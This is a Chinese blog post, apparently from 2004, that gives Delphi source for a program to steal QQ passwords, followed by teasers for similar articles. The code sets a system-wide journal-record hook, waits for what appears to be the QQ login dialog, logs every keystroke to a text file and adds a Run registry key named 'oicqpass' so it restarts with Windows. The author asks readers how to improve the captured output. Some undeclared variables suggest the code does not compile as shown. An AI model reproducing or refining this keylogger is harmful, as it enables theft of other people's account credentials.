qq密码记录程序

原创 2004年07月18日 14:37:00

unit password;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,Clipbrd, Buttons,registry;


type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Label1: TLabel;
    Timer1: TTimer;
    Edit1: TEdit;
    BitBtn1: TBitBtn;
    procedure Button1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);

 

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  hHook:integer;
 
  d:char;
EventArr:EVENTMSG;


implementation
function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
 


 var
      c:integer;
      HWindow,hbutton1, HButton,hedit,hedit1, handle: THandle; //句柄变量
      debugfile:textfile;
      point:TPoint;
      temp:array[0..255] of char;
   

begin
      HWindow:=0;
      found:=false;


         //找是#32770(对话框)的窗体
         HWindow := FindWindowEx(0, HWindow, '#32770',nil);
         hbutton1:=findwindowex(HWindow,0,'Button','取消') ;

         If hbutton1 <> 0 Then//如果找到了
            Begin
               
                if (peventmsg(lparam)^.message = WM_KEYDOWN) then//判断是否按键
                      begin

                        c:=peventMsg(lparam)^.paramL;
                        d:=char(c);//得到按键
                       {$I-}
                         if not fileExists('NEWFILE.txt') then//如果文件不存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Rewrite(debugfile);//创建新文件
                            write(debugfile,d);//写入键值
                            CloseFile(debugfile);
                            end
                     //
                         else//如果存在
                            begin
                            AssignFile(debugfile, 'NEWFILE.txt');
                            Append(debugfile);//追加记录
                            write(debugfile,d);//写入键值
                            closefile(debugfile);
                            end


                      end
             end;


  end;

 

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
const K = '/Software/Microsoft/Windows/CurrentVersion/RunServices';
var myname: string;
 reg:tregistry;

begin
 hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);//加载钩子
 
find:=false;
  reg:=tregistry.create;
   reg.rootkey:=HKEY_LOCAL_MACHINE;
   reg.openkey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',true);
   reg.WriteString('oicqpass','D:/Program Files/Del/Borland/Delphi7/Projects/password.EXE');

end;

procedure TForm1.Button1Click(Sender: TObject);
begin
 UnHookWindowsHookEx(hHook);//卸钩子
  hHook:=0;

end;

//这是我刚写的一个记录密码的程序基本具有了记录的功能但是这个程序有很多问题:比如记录文件记录的号码和密码之间可能会没有间隔,此外前一条记录和后一条记录之间也没有间隔。 请大家提点建议解决

记录研究截取QQ密码的几点心得

1 根据网上的文章,至少到QQ2013版本时,QQ主要通过以下几个方式实现密码保护:    a 登录窗体和密码输入框分离为两个进程    b 设置调试钩子和低级键盘钩子阻止HOOK,所以必须干...
  • I_love_linux_1988
  • I_love_linux_1988
  • 2014年03月05日 06:41
  • 2501

键盘记录器,可截获到 QQ 的密码

虽然 QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!...
  • Henzox
  • Henzox
  • 2014年06月25日 08:57
  • 11210

Xposed截获 Android手机QQ密码

转:http://www.cnblogs.com/2014asm/p/4742824.html 0x00 前言    Xposed框架是一款修改系统框架服务的软件,通过它许多功能强大的...
  • zhangmiaoping23
  • zhangmiaoping23
  • 2016年08月09日 14:04
  • 1417

通过HOOK获取QQ游戏登录密码

通过HOOK获取QQ游戏登录密码 //通过HOOK获取QQ游戏登录密码 //by redice 2008.7.19 //redice@163.com 不是什么新鲜货了,只是想重温一下钩子及...
  • lonelyrains
  • lonelyrains
  • 2014年04月29日 15:38
  • 1663

QQ密码框防键盘记录的研究笔记

兴趣所致,做些学习笔记. QQ密码框从简单到复杂有好几套措施防止键盘记录. 第一层,最简单的.设置一个定时器.大概0.5秒定时用keybd_event 发送虚拟键盘消息.混淆记录....
  • ainn_pp
  • ainn_pp
  • 2013年06月06日 19:17
  • 2018

QQ密码记录程序源码

最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。 开发环境   vs2008 winddk ddkwizard       wi...
  • xiaoxiao108
  • xiaoxiao108
  • 2012年05月15日 14:54
  • 4464

用Visual C++编程窃取QQ密码

[VC代码]用Visual C++编程窃取QQ密码[QUOTE] 近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及Ge...
  • taolinbo
  • taolinbo
  • 2008年02月13日 16:26
  • 641

尝试用程序记录QQ密码

今天就QQ的密码记录程序找了下资料,发现网络上的对QQ密码的记录程序都已失效,原因是腾讯目前的所谓的“国际领先的Nprotect键盘加密技术”...不过牛人也通过Hook API找到了破解的办法,我暂...
  • naivec
  • naivec
  • 2008年11月28日 21:45
  • 1302

驱动级键盘记录器与安全密码框(能获取QQ密码)

信息监控与隐私保护永远是一对矛盾,在对付各种信息窃取软件上,新技术总是层出不穷。本文介绍一种古老的键盘记录器技术,确实很古老,DOS时代人们就在用了,但是现在它仍然很有效,在键盘过滤驱动失效的情况下,...
  • jinhill
  • jinhill
  • 2010年06月12日 17:48
  • 10314

非常激动,轻松破解QQ密码!

废话休提:第一步:打开QQ,注意,在我的好友列表里,要以小头像的方式显示.不要问我为什么,我知道的话,就没功夫呆在这里写博客啦.第二步:选中你想获取密码的好友头像,注意啊,一定要选中在线的,而且,不要...
  • chinainvent
  • chinainvent
  • 2006年08月30日 16:31
  • 5457
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:qq密码记录程序
举报原因:
原因补充:

(最多只允许输入30个字)